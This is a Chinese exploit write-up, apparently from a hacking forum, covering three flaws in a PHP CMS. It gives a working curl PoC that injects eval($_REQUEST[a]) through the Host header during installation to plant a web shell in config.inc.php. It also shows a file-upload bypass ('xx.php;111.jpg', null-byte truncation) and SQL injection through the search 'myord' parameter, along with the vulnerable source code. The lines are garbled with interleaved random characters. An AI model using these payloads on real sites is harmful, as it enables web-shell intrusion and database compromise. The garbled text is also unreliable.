注入:8 U- l1 i/ B& ]
) @% t2 o8 _! P- Q之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码* Z% w& V& p# }- }, i( O1 d" x) ?3 j
+ z0 P$ ^) w6 b: ]8 ?5 `$ L9 V# ?
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
4 d- }9 p! b: w鸡肋2: 有一定安全常识的站长都会删掉 install 目录
% Y2 w+ j: r8 v- }
% e1 d( n0 C( h: m虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响, e: e* c3 U# O0 K, `# b$ b
+ u% B/ L! F' d# i7 h+ s分析:
: e8 Y3 e2 R0 t * Z q# l+ ~1 n6 w
9 }- k, z4 M! u& B0 S
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
) R% E% N( y8 e% C
" z( ]& v5 q! r* {+ ~ $filestr = fread(fopen($SysConfigFile, 'r'),30000);2 r; f2 n' c+ o: O
$filestr=str_replace(" ","",$filestr);
+ u; b/ ^0 r- z& X $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
0 U% M$ y6 l6 P7 B $filestr=str_replace("DefaultDbName",$dbname,$filestr);4 L" d' z/ H; u: w
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
$ r4 c8 w6 y B3 ~. F! c' }5 A $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
) n# c' y- O/ G0 X+ U" e $filestr=str_replace("DefaultsLan","zh_cn",$filestr);5 o5 t3 m' T6 E, K- T
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);! t# Z' O5 Y% Y4 ?
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);4 N' w5 i# B2 I2 I
J( g% v, D2 a. R: h
fwrite(fopen($ConFile,"w"),$filestr,30000);# {, `8 ^* n: n/ J+ J
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
* ?4 |, L0 b1 ^- D2 r/ q
# w! x: p7 e Q. fpoc:% ^/ e% C% G3 t# u& U7 X
7 K2 W) \/ \6 Q5 c( l- @8 K?
: U# g/ d, ~9 ]6 x% T2 p12 _! A# a3 l. I0 S. L" ]
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
8 \/ q; k. D/ p) o% |shell地址: /config.inc.php
8 R; B- z& }. k; u/ d+ o% T9 D跟之前的 phpcms一样 需要远程数据库
5 b4 c0 v {! ^5 j 8 a: W/ \# \$ N' ?5 Z
——————————————————–
0 L" S1 E6 `$ y' X上传漏洞(需要进后台):
. V: J6 z" `' h) @0 Q漏洞文件: /kedit/upload_cgi/upload.php
, Y" _+ e: h7 d/ E0 ^这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
2 V! i. {' |& @' |# D `
) A+ Z! `9 [# @: I- G 0 K& Y& f* x5 ^ }: C7 Y0 D
<?php0 _/ M1 `+ {' P5 a7 W% U1 j6 f B# d3 [$ v
define("ROOTPATH", "../../");
' m0 u, S P' F5 }$ {9 g+ o8 G include(ROOTPATH."includes/admin.inc.php");
/ C; V8 c: O. U9 d NeedAuth(0);
3 @* _9 X: {; B2 A/ A! v5 I 1 n( R6 ?# w1 P# g. L4 b
$dt=date("Ymd",time());
2 ]0 I: B+ B- z* X if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
- Q" x( L4 | F5 _" H @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);% M1 d! S9 ^5 \
}5 ?& N, R, W, {" B- m+ V
1 j1 D; y, u6 N4 _/ D! Y* b' ^/ ?9 j //文件保存目录路径9 v5 Z* ?; m3 r# n. \% |3 J
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';8 L2 a4 e! f& @- {8 Q& X) v+ I
echo $save_path;& F& S3 N& U1 d7 R$ z
//文件保存目录URL
3 l# A/ y5 N2 n* ]2 X6 g $save_url = '../../'.$_POST['attachPath'].$dt.'/';
0 n2 U, L8 M* X$ f5 Y% b
- O, |7 g2 k8 o, m //定义允许上传的文件扩展名0 U3 U6 V% N7 h" P2 {3 e/ _: M6 `
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
+ j7 F3 [, \3 d. T2 _3 v
# n. `1 v# w) v' L2 o3 e* i8 E //最大文件大小2 v3 {0 }+ z! m9 ~1 }- H* u
$max_size = 1000000;4 ^& f: k' k/ h2 m0 C3 J6 N- t
1 W S- i# g1 v9 ~" ? //更改目录权限
1 q% Q& a% I: D, u6 N @mkdir($save_path, 0777);1 c2 w# F/ Q4 Q- K
! m" q$ k8 l9 [% ~. {5 E( J9 H: X
//文件的全部路径
& ^5 a; p0 [8 Z2 d+ w5 u# B n $file_path = $save_path.$_POST['fileName']; //保存文件名
8 `/ @# A' Y* c2 P+ o X
- @6 N- m7 M0 I3 I% U //文件URL' ]8 Z9 `! ?" ] O* K5 ?
$file_url = $save_url.$_POST['fileName'];
6 `4 M; p; s7 _1 ^+ l" y+ q* U4 f//有上传文件时
- J' I$ q& @- Z: h& S2 J if (empty($_FILES) === false) {0 T) t' D& w0 ^% y& U0 G5 M9 g
7 M2 \% t/ c* L& e
//原文件名, u9 W& Q$ e% Z" T3 g
$file_name = $_FILES['fileData']['name'];- l, ? ^: [% D4 _* x$ _
//服务器上临时文件名: ?: F5 H7 L% @ e& |& u
$tmp_name = $_FILES['fileData']['tmp_name'];$ F, F4 d% y' Q% I
//文件大小3 t2 [' Z7 i: c1 ^
$file_size = $_FILES['fileData']['size'];- X. Z, W7 V; E4 ?$ V
//检查目录
9 Z) L! S% U s; o5 L1 j8 ` if (@is_dir($save_path) === false) {
5 m8 J/ c3 P# L, [+ N( O; N8 k alert("上传目录不存在。");" K2 w" P/ u2 j" K; i
}
( A5 V0 f& a$ c( @* d$ s //检查目录写权限; y7 ?- B+ R, g
if (@is_writable($save_path) === false) {
, m4 _. y/ z3 S U alert("上传目录没有写权限。");
# N o) F4 X. s8 [6 a }# p! @& n% }2 k+ @1 ~
//检查是否已上传( g8 @0 z8 ^: g3 K3 Z* R& P
if (@is_uploaded_file($tmp_name) === false) {
7 @! k' ?: Q0 Y8 C6 [" Q1 n9 \: E3 {3 _ alert("临时文件可能不是上传文件。");
4 B5 C( B; z0 x+ @ }
/ S0 K4 Y5 k) P //检查文件大小2 [5 C, M4 C1 i: f1 J. f
if ($file_size > $max_size) {: l' K4 y L$ Z5 ] K5 {6 i+ x
alert("上传文件大小超过限制。");
, K: S9 i9 p, m' v3 J }
' g$ K# D6 @: {6 h. Z //获得文件扩展名4 y- i4 T6 f' V, X
$temp_arr = explode(".", $_POST['fileName']);4 i* A) l* ]. q+ T$ D
$file_ext = array_pop($temp_arr);8 ]' M# ~. G3 j/ }# h. S
$file_ext = trim($file_ext);( r# x- a+ B: v
$file_ext = strtolower($file_ext); G+ j: ]- d; Q/ V8 p, ^ b* E& K1 k
5 g# E l6 w& K2 h0 X //检查扩展名 ; G1 h6 F# F& Z7 W4 b
if (in_array($file_ext, $ext_arr) === false) {
8 l W/ Y6 O' S+ Q. N! U alert("上传文件扩展名是不允许的扩展名。");+ C& M. g$ {* S: X4 o
}
! s9 L5 r/ r) v' m ' X0 b0 y5 K& |5 ^1 n2 Y4 [) l8 Q) L
//移动文件 : C. s8 n r+ I& j. C7 p
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^% _" E4 j; t5 p2 p
if (move_uploaded_file($tmp_name, $file_path) === false) {
% f7 x r, j' |7 P7 p1 B alert("上传文件失败。");
6 ^& N: x! F, G8 U# a }
9 A# w; @. [/ `# S - r- g1 X& A( K: S2 B. o3 f1 m- b
@chmod($file_path,0666);
" j/ b+ G( {. t+ s
7 E! X7 v S1 A( s8 U3 Z' c ?>
, c7 Z. S1 |% t6 q* `抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
/ e- T/ d. C/ S1 \3 H 1 Z9 w2 n+ W( b
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
8 p% k% ~: w/ h( W; C
2 J( Q+ _! Z F& O——————————————————
$ L* `, x( Q- B# q注入漏洞:, ]' ^8 j% z1 C3 ]+ F& }5 t( s* |
漏洞文件:search/module/search.php
# k, U( }- ^+ e& P* Z+ ?1 u/search/index.php?key=1&myord=1 [sqlinjection]
9 B& h8 }( \. S- D
% H: j$ C. ]; _6 c: q
' ~$ r- c3 I% q( m C8 ^<?php( l$ s$ m& s' K8 Q
// ... 省略 n 行...
7 p* E/ E; U: K //第18行:3 P# @% ~7 \9 ?# b( G* L
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响% X5 g- A/ s5 U0 h
$page=htmlspecialchars($_GET["page"]);
% k7 E; ?" u7 \( s4 V7 O5 ~ $myord=htmlspecialchars($_GET["myord"]);( F1 k( U6 V `9 `' f: }
+ Z: t8 R4 O& e. \+ }% B, {, h // ... 省略 n 行...
7 M9 c; O" l, L% N7 a $key,$myord 两个参数带入查询
, p: T% v8 |1 i3 y8 X3 e //第47行 $key:1 S0 S, C. p( ^' m. |
. n' J; y N- }) }- r; v/ S# d, g# G+ i
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..% H/ O4 m" Q5 r
k: |, w% g* E( ? x4 b. K //第197行 $myord
" |" v. `6 `/ Q $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
3 Z; \. i& S5 w, ~; l& K' A9 D @ ' k0 ]- Y1 e4 M( d; A @( d- A
?>" Q' o6 M, \: p$ Q4 j, D7 [# K
|